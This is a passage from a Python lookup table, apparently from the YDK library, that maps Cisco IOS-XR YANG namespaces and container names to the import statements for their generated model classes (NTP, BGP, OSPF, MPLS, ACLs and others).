('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-admin-oper', 'ntp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_ntp_admin_oper import Ntp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-cfg', 'ntp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_ntp_cfg import Ntp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-ntp-oper', 'ntp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_ntp_oper import Ntp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-pfilter-oper', 'pfilter-ma') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_pfilter_oper import PfilterMa',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-cfg', 'rib') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_rib_cfg import Rib',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv4-oper', 'rib') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_rib_ipv4_oper import Rib',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv4-oper', 'rib-stdby') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_rib_ipv4_oper import RibStdby',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv6-oper', 'ipv6-rib') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_rib_ipv6_oper import Ipv6Rib',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rib-ipv6-oper', 'ipv6-rib-stdby') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_rib_ipv6_oper import Ipv6RibStdby',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-cfg', 'rsvp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_rsvp_cfg import Rsvp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-oper', 'rsvp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_rsvp_oper import Rsvp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-rsvp-oper', 'rsvp-standby') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_rsvp_oper import RsvpStandby',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-sbfd-cfg', 'sbfd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_sbfd_cfg import Sbfd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-sbfd-oper', 'sbfd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_sbfd_oper import Sbfd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-static-cfg', 'router-static') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_static_cfg import RouterStatic',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-cfg', 'ip') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_tcp_cfg import Ip',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-cfg', 'ip-tcp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_tcp_cfg import IpTcp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper', 'tcp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_tcp_oper import Tcp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper', 'tcp-connection') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_tcp_oper import TcpConnection',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-tcp-oper', 'tcp-nsr') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_tcp_oper import TcpNsr',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-cfg', 'ip-udp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_udp_cfg import IpUdp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper', 'udp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_udp_oper import Udp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ip-udp-oper', 'udp-connection') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ip_udp_oper import UdpConnection',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-cfg', 'ipv4-acl-and-prefix-list') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_acl_cfg import Ipv4AclAndPrefixList',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-acl-oper', 'ipv4-acl-and-prefix-list') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_acl_oper import Ipv4AclAndPrefixList',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-cfg', 'arp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_arp_cfg import Arp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-cfg', 'arp-redundancy') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_arp_cfg import ArpRedundancy',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-cfg', 'arpgmp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_arp_cfg import Arpgmp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-oper', 'arp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_arp_oper import Arp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-arp-oper', 'arp-gmp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_arp_oper import ArpGmp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-autorp-oper', 'auto-rp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_autorp_oper import AutoRp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-cfg', 'bgp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_bgp_cfg import Bgp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-cfg', 'bmp-servers') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_bgp_cfg import BmpServers',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-bgp-oper', 'bgp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_bgp_oper import Bgp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-dhcpd-cfg', 'ipv4-dhcpd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_dhcpd_cfg import Ipv4Dhcpd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-filesystems-cfg', 'ftp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_filesystems_cfg import Ftp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-filesystems-cfg', 'rcp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_filesystems_cfg import Rcp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-filesystems-cfg', 'tftp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_filesystems_cfg import Tftp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-hsrp-cfg', 'hsrp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_hsrp_cfg import Hsrp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-hsrp-oper', 'hsrp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_hsrp_oper import Hsrp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-cfg', 'amt') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_igmp_cfg import Amt',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-cfg', 'igmp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_igmp_cfg import Igmp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-cfg', 'mld') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_igmp_cfg import Mld',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-oper', 'igmp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_igmp_oper import Igmp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-igmp-oper', 'mld') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_igmp_oper import Mld',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-io-oper', 'ipv4-network') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_io_oper import Ipv4Network',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ma-cfg', 'ipv4-network-global') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_ma_cfg import Ipv4NetworkGlobal',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ma-cfg', 'subscriber-pta') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_ma_cfg import SubscriberPta',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-mfwd-cfg', 'mfwd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_mfwd_cfg import Mfwd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ospf-cfg', 'ospf') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_ospf_cfg import Ospf',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-ospf-oper', 'ospf') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_ospf_oper import Ospf',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-cfg', 'pim') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_pim_cfg import Pim',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-oper', 'ipv6-pim') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_pim_oper import Ipv6Pim',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-oper', 'pim') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_pim_oper import Pim',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-oper', 'pim-ma') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_pim_oper import PimMa',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-pim-oper', 'pim6-ma') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_pim_oper import Pim6Ma',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-smiap-cfg', 'ipv4-virtual') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_smiap_cfg import Ipv4Virtual',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-telnet-cfg', 'ipv4-telnet') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_telnet_cfg import Ipv4Telnet',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-telnet-cfg', 'ipv6-telnet') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_telnet_cfg import Ipv6Telnet',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-telnet-mgmt-cfg', 'telnet') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_telnet_mgmt_cfg import Telnet',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-vrrp-cfg', 'vrrp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_vrrp_cfg import Vrrp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv4-vrrp-oper', 'vrrp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv4_vrrp_oper import Vrrp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-cfg', 'ipv6-acl-and-prefix-list') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_acl_cfg import Ipv6AclAndPrefixList',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-acl-oper', 'ipv6-acl-and-prefix-list') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_acl_oper import Ipv6AclAndPrefixList',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-io-cfg', 'ipv6-configuration') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_io_cfg import Ipv6Configuration',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-io-oper', 'ipv6-io') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_io_oper import Ipv6Io',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ma-oper', 'ipv6-network') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ma_oper import Ipv6Network',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-nd-cfg', 'ipv6-neighbor') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_nd_cfg import Ipv6Neighbor',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-nd-oper', 'ipv6-node-discovery') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_nd_oper import Ipv6NodeDiscovery',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-new-dhcpv6d-cfg', 'dhcpv6') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_new_dhcpv6d_cfg import Dhcpv6',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-new-dhcpv6d-oper', 'dhcpv6') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_new_dhcpv6d_oper import Dhcpv6',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ospfv3-cfg', 'ospfv3') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg import Ospfv3',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-ospfv3-oper', 'ospfv3') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_oper import Ospfv3',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ipv6-smiap-cfg', 'ipv6-virtual') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_smiap_cfg import Ipv6Virtual',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-cfg', 'ethernet-features') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2_eth_infra_cfg import EthernetFeatures',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper', 'ethernet-encapsulation') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2_eth_infra_oper import EthernetEncapsulation',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper', 'mac-accounting') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2_eth_infra_oper import MacAccounting',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2-eth-infra-oper', 'vlan') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2_eth_infra_oper import Vlan',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-cfg', 'evpn') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg import Evpn',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-cfg', 'generic-interface-lists') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg import GenericInterfaceLists',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-cfg', 'l2vpn') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg import L2Vpn',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper', 'generic-interface-list-v2') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_oper import GenericInterfaceListV2',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper', 'l2vpn') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_oper import L2Vpn',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper', 'l2vpn-forwarding') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_oper import L2VpnForwarding',
('http://cisco.com/ns/yang/Cisco-IOS-XR-l2vpn-oper', 'l2vpnv2') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_oper import L2Vpnv2',
('http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-cfg', 'keychains') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_lib_keychain_cfg import Keychains',
('http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-macsec-cfg', 'mac-sec-keychains') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_lib_keychain_macsec_cfg import MacSecKeychains',
('http://cisco.com/ns/yang/Cisco-IOS-XR-lib-keychain-oper', 'keychain') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_lib_keychain_oper import Keychain',
('http://cisco.com/ns/yang/Cisco-IOS-XR-lib-mpp-cfg', 'control-plane') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_lib_mpp_cfg import ControlPlane',
('http://cisco.com/ns/yang/Cisco-IOS-XR-lib-mpp-oper', 'management-plane-protection') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_lib_mpp_oper import ManagementPlaneProtection',
('http://cisco.com/ns/yang/Cisco-IOS-XR-linux-os-reboot-history-oper', 'reboot-history') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_linux_os_reboot_history_oper import RebootHistory',
('http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-lib-cfg', 'lpts') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_lpts_lib_cfg import Lpts',
('http://cisco.com/ns/yang/Cisco-IOS-XR-lpts-pre-ifib-oper', 'lpts-pifib') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_lpts_pre_ifib_oper import LptsPifib',
('http://cisco.com/ns/yang/Cisco-IOS-XR-macsec-ctrlr-oper', 'macsec-ctrlr-oper') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_macsec_ctrlr_oper import MacsecCtrlrOper',
('http://cisco.com/ns/yang/Cisco-IOS-XR-man-ems-cfg', 'grpc') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_man_ems_cfg import Grpc',
('http://cisco.com/ns/yang/Cisco-IOS-XR-man-ems-oper', 'grpc') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_man_ems_oper import Grpc',
('http://cisco.com/ns/yang/Cisco-IOS-XR-man-netconf-cfg', 'netconf-yang') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_man_netconf_cfg import NetconfYang',
('http://cisco.com/ns/yang/Cisco-IOS-XR-man-xml-ttyagent-cfg', 'netconf') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_man_xml_ttyagent_cfg import Netconf',
('http://cisco.com/ns/yang/Cisco-IOS-XR-man-xml-ttyagent-cfg', 'xr-xml') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_man_xml_ttyagent_cfg import XrXml',
('http://cisco.com/ns/yang/Cisco-IOS-XR-man-xml-ttyagent-oper', 'netconf') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_man_xml_ttyagent_oper import Netconf',
('http://cisco.com/ns/yang/Cisco-IOS-XR-man-xml-ttyagent-oper', 'xr-xml') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_man_xml_ttyagent_oper import XrXml',
('http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-object-tracking-cfg', 'object-trackings') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_manageability_object_tracking_cfg import ObjectTrackings',
('http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-object-tracking-oper', 'object-tracking') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_manageability_object_tracking_oper import ObjectTracking',
('http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-perfmgmt-cfg', 'perf-mgmt') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_manageability_perfmgmt_cfg import PerfMgmt',
('http://cisco.com/ns/yang/Cisco-IOS-XR-manageability-perfmgmt-oper', 'perf-mgmt') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_manageability_perfmgmt_oper import PerfMgmt',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-cfg', 'mpls-ldp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_ldp_cfg import MplsLdp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-ldp-oper', 'mpls-ldp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_ldp_oper import MplsLdp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-lsd-cfg', 'mpls-lsd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_lsd_cfg import MplsLsd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-lsd-oper', 'mpls-lsd') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_lsd_oper import MplsLsd',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-lsd-oper', 'mpls-lsd-nodes') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_lsd_oper import MplsLsdNodes',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-oam-cfg', 'mpls-oam') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_oam_cfg import MplsOam',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-static-cfg', 'mpls-static') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_static_cfg import MplsStatic',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-static-oper', 'mpls-static') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_static_oper import MplsStatic',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-cfg', 'mpls-te') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_te_cfg import MplsTe',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper', 'mpls-lcac') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_te_oper import MplsLcac',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper', 'mpls-lcac-standby') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_te_oper import MplsLcacStandby',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper', 'mpls-pce') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_te_oper import MplsPce',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper', 'mpls-pce-stdby') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_te_oper import MplsPceStdby',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper', 'mpls-te') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_te_oper import MplsTe',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper', 'mpls-te-standby') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_te_oper import MplsTeStandby',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-te-oper', 'mpls-tp') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_te_oper import MplsTp',
('http://cisco.com/ns/yang/Cisco-IOS-XR-mpls-vpn-oper', 'l3vpn') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_mpls_vpn_oper import L3Vpn',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-cfg', 'hardware-module') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ncs1k_mxp_cfg import HardwareModule',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-headless-oper', 'headless-func-data') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ncs1k_mxp_headless_oper import HeadlessFuncData',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-lldp-oper', 'lldp-snoop-data') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ncs1k_mxp_lldp_oper import LldpSnoopData',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ncs1k-mxp-oper', 'hw-module') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ncs1k_mxp_oper import HwModule',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-coherent-node-oper', 'coherent') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ncs5500_coherent_node_oper import Coherent',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-coherent-portmode-oper', 'controller-port-mode') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ncs5500_coherent_portmode_oper import ControllerPortMode',
('http://cisco.com/ns/yang/Cisco-IOS-XR-ncs5500-qos-oper', 'platform-qos') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_ncs5500_qos_oper import PlatformQos',
('http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-oper', 'memory-summary') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_nto_misc_oper import MemorySummary',
('http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-shmem-oper', 'memory-summary') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_nto_misc_shmem_oper import MemorySummary',
('http://cisco.com/ns/yang/Cisco-IOS-XR-nto-misc-shprocmem-oper', 'processes-memory') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_nto_misc_shprocmem_oper import ProcessesMemory',
('http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-terminal-device-cfg', 'logical-channels') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_openconfig_terminal_device_cfg import LogicalChannels',
('http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-terminal-device-cfg', 'optical-channels') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_openconfig_terminal_device_cfg import OpticalChannels',
('http://cisco.com/ns/yang/Cisco-IOS-XR-openconfig-terminal-device-oper', 'optical-interface') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_openconfig_terminal_device_oper import OpticalInterface',
('http://cisco.com/ns/yang/Cisco-IOS-XR-parser-cfg', 'parser') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_parser_cfg import Parser',
('http://cisco.com/ns/yang/Cisco-IOS-XR-patch-panel-cfg', 'patch-panel') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_patch_panel_cfg import PatchPanel',
('http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-oper', 'pbr') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_pbr_oper import Pbr',
('http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-vservice-ea-oper', 'service-function-chaining') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_pbr_vservice_ea_oper import ServiceFunctionChaining',
('http://cisco.com/ns/yang/Cisco-IOS-XR-pbr-vservice-mgr-oper', 'global-service-function-chaining') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_pbr_vservice_mgr_oper import GlobalServiceFunctionChaining',
('http://cisco.com/ns/yang/Cisco-IOS-XR-pfi-im-cmd-oper', 'interfaces') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper import Interfaces',
('http://cisco.com/ns/yang/Cisco-IOS-XR-plat-chas-invmgr-oper', 'platform') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_plat_chas_invmgr_oper import Platform',
('http://cisco.com/ns/yang/Cisco-IOS-XR-plat-chas-invmgr-oper', 'platform-inventory') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_plat_chas_invmgr_oper import PlatformInventory',
('http://cisco.com/ns/yang/Cisco-IOS-XR-pmengine-oper', 'performance-management') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_pmengine_oper import PerformanceManagement',
('http://cisco.com/ns/yang/Cisco-IOS-XR-pmengine-oper', 'performance-management-history') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_pmengine_oper import PerformanceManagementHistory',
('http://cisco.com/ns/yang/Cisco-IOS-XR-policy-repository-cfg', 'routing-policy') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_policy_repository_cfg import RoutingPolicy',
('http://cisco.com/ns/yang/Cisco-IOS-XR-policy-repository-oper', 'routing-policy') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_policy_repository_oper import RoutingPolicy',
('http://cisco.com/ns/yang/Cisco-IOS-XR-prm-server-oper', 'hardware-module') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_prm_server_oper import HardwareModule',
('http://cisco.com/ns/yang/Cisco-IOS-XR-prm-server-oper', 'prm') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_prm_server_oper import Prm',
('http://cisco.com/ns/yang/Cisco-IOS-XR-procmem-oper', 'processes-memory') : 'from ydk.models.cisco_ios_xr.Cisco_IOS_XR_procmem_oper import ProcessesMemory',
